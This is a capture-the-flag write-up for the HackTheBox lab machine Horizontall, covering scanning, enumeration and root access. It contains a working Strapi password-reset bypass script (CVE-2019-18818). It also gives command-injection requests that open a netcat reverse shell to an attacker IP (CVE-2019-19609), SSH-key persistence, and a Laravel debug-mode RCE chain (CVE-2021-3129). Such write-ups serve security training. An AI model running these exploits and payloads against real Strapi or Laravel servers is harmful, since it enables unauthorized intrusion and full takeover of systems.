Box Info
  • Name: Horizontall
  • OS: Linux
  • Difficulty: Easy
  • IP: 10.10.11.105
  • Points: 20
  • Machine Creator: wail99

Introduction

Horizontall is a fun box on Hackthebox that has an API, vulnerable to Improper Access Control and RCE (Remote Code Execution).

The box is running a laravel service which is vulnerable to another RCE which lets us run commands as root.

Scanning

Masscan

sudo masscan "10.10.11.105" -p1-65535,U:1-65535 --rate=1500 -e tun0
Discovered open port 80/tcp on 10.10.11.105
Discovered open port 22/tcp on 10.10.11.105

NMAP

sudo nmap -sC -sV -oA 10.10.11.105 -p 80,22 10.10.11.105
# Nmap 7.80 scan initiated Sun Aug 29 06:19:11 2021 as: nmap -sC -sV -oA 10.10.11.105 -p 80,22 10.10.11.105
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 29 06:19:36 2021 -- 1 IP address (1 host up) scanned in 24.22 seconds

Foothold

We visit 10.10.11.105 we get redirected to http://horizontall.htb

We add horizontall.htb in /etc/hosts file.

10.10.11.105  horizontall.htb

Visiting http://horizontall.htb , but we get nothing but a static HTML page hosted on Apache server.

Finding subdomains

So we move further looking for subdomains by using a tool called ffuf1

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 194
________________________________________________

www                     [Status: 200, Size: 901, Words: 43, Lines: 2]
api-prod                [Status: 200, Size: 413, Words: 76, Lines: 20]
:: Progress: [114441/114441] :: Job [1/1] :: 163 req/sec :: Duration: [0:11:01] :: Errors: 0 ::

We add these 2 subdomains in our hosts file /etc/hosts

# /etc/hosts file
10.10.11.105  horizontall.htb www.horizontall.htb api-prod.horizontall.htb

Directory enumerating using gobuster

We run gobuster 2 on these domains but we didn’t find anything as such for horizontall.htb as well as www.horizontall.htb.

We run gobuster on http://api-prod.horizontall.htb, we get interesting results.

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
   -t 50 -u http://api-prod.horizontall.htb/

Trimmed output

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/29 11:50:04 Starting gobuster in directory enumeration mode
===============================================================
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60]
/admin                (Status: 200) [Size: 854]
...

we get the following paths

  • http://api-prod.horizontall.htb/reviews
  • http://api-prod.horizontall.htb/users
  • http://api-prod.horizontall.htb/admin

Of these /reviews has nothing interesting and we get 403 Forbidden on /users

For /admin we see an admin login prompt:

We don’t have login credentials so we can’t log in to this dashboard.

We again run gobuster on http://api-prod.horizontall.htb/admin

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
    -t 50 -u http://api-prod.horizontall.htb/admin/ --wildcard | grep -v "Size: 854"

Here, we negative grep Size: 854 as the application returns the same for every non-existing page.

We get the following output (Trimmed output)

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb/admin/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/29 14:19:01 Starting gobuster in directory enumeration mode
===============================================================
/plugins              (Status: 403) [Size: 60]
/layout               (Status: 200) [Size: 90]
/init                 (Status: 200) [Size: 144]
...

Exploiting Improper Access Control in strapi

We find that the API is using strapi 3 and the version is 3.0.0-beta.17.4

On searching for vulns for this version we find => https://snyk.io/test/npm/strapi/3.0.0-beta.17.4

I see Improper Access Control with CVE: CVE-2019-18818 => Improper Access Control Affecting strapi package, versions <3.0.0-beta.17.5

On searching for an exploit for this CVE we find a blog post: Exploiting friends with CVE-2019-18818

The following is the modified code we use:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3

import requests
import sys
import json

s  =  requests.Session()

url = "http://api-prod.horizontall.htb"
email = "foo@user.com"

version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text)

print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))

#Request password reset
print("[*] Sending password reset request...")
reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)}
s.post("{}/".format(url), json=reset_request)

#Reset password to
print("[*] Setting new password...")
exploit={"code":{"$gt":0}, "password":"password1", "passwordConfirmation":"password1"}
r=s.post("{}/admin/auth/reset-password".format(url), json=exploit)

print("[*] Response:")
print(str(r.content))

Using this code we can get JWT token, but this is not enough!

Getting shell as user strapi

We find a 2nd CVE: CVE-2019-19609 => Strapi Framework Vulnerable to Remote Code Execution (CVE-2019-19609)

With this, we can get RCE by using a valid JWT token 😈

So, we use the following POST request via BURP suite:

POST /admin/plugins/install HTTP/1.1
Host: api-prod.horizontall.htb
Authorization: Bearer ██████████JIUzI1NiIsInR5cCI6IkpXVCJ9.██████████wiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQ3OTA1LCJleHAiOjE2MzI4Mzk5MDV9.██████████CRBYxR2gpvDfzmO98MHSCEn07y-gs5sO4
Content-Type: application/json
Origin: http://api-prod.horizontall.htb
Content-Length: 125
Connection: close

{
    "plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)",
    "port":"1337"
}

Or we can use the following cURL command, where you need to put JWT token and attacker box IP in place of 10.10.XX.XX

curl -i -s -k -X $'POST' \
    -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer {PUT JWT TOKEN HERE}' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 139' -H $'Connection: close' \
    --data-binary $'{\x0d\x0a    \"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)\",\x0d\x0a    \"port\":\"1337\"\x0d\x0a}' \
    $'http://api-prod.horizontall.htb/admin/plugins/install'

We listen for connections on port 4444 using netcat, then run the above command.

nc -lvnp 4444

And, we get a shell with user strapi.

We can upgrade shell by using python3 -c 'import pty;pty.spawn("/bin/bash")'

We can get a ssh shell by adding our public-ssh key from attacker box i.e ~/.ssh/id_rsa.pub to /opt/strapi/.ssh/authorized_keys of target box.

mkdir /opt/strapi/.ssh && \
    echo "ssh-rsa AAAAB██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████= kali@kaliubuntu" \
    >> /opt/strapi/.ssh/authorized_keys

We can now login as user strapi with no password!

ssh strapi@horizontall.htb

We go to /home directory, where we have user developer where we get user.txt, which can be read by user strapi.


Escalating Privileges

Running LinuEnum.sh

We run LinEnum.sh 4 on the target box, where we find the following part where open TCP ports are listed:

[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1888/node /usr/bin/
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Note: Transfering LinEnum.sh on target box from attacker box can be easy. We can use darkhttpd to open a web server and use cURL/wget from target box and save it under /var/tmp directory.

Here,

  • Strapi is running om port 1337
  • MySQL DB is running on port 3306
  • Port 80 and 22 are accessible externally as we know.
  • We need to find out which service is on port 8000.

Enumerating service on port 8000

For this, we use SSH tunneling 5

Running the following on our attacker box:

ssh -N -L 8000:127.0.0.1:8000 strapi@horizontall.htb

We can now access port 8000 from the target box (horizontall.htb) on our attacker box (localhost:8000)!

We again run gobuster on http://localhost:8000/

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
    -t 50 -u http://localhost:8000/ --wildcard

⚠️ This dir fuzzing is very unstable, we frequently get:

Connection to horizontall.htb closed by remote host.

We find /profiles on http://localhost:8000

We browse the page and find interesting stuff on Context tab.

Using RCE for Laravel v8.4.2

The service here is using Laravel v8 (PHP v7.4.18). We see that Laravel version here is: v8.4.2. We have a CVE for Laravel v8.4.2 : CVE-2021-3129

We find a blog that explains how this works: LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION.
So using https://github.com/ambionics/laravel-exploits, we can get RCE!

We clone the exploit and phpggc:

git clone https://github.com/ambionics/laravel-exploits.git
git clone https://github.com/ambionics/phpggc.git

We then run,

php -d'phar.readonly=0' phpggc/phpggc --phar phar -f -o exploit.phar monolog/rce1 system \
    '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)'

Here we have '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)' as a reverse shell.

An exploit.phar file should be created in your current directory

We listen on port 4444 using nc:

nc -lvnp 4444

then run,

python3 laravel-exploits/laravel-ignition-rce.py http://127.0.0.1:8000/ exploit.phar

⚠️ This step is very unstable as before, we frequently get: Connection to horizontall.htb closed by remote host.

We get a shell 🐚 as root 🎉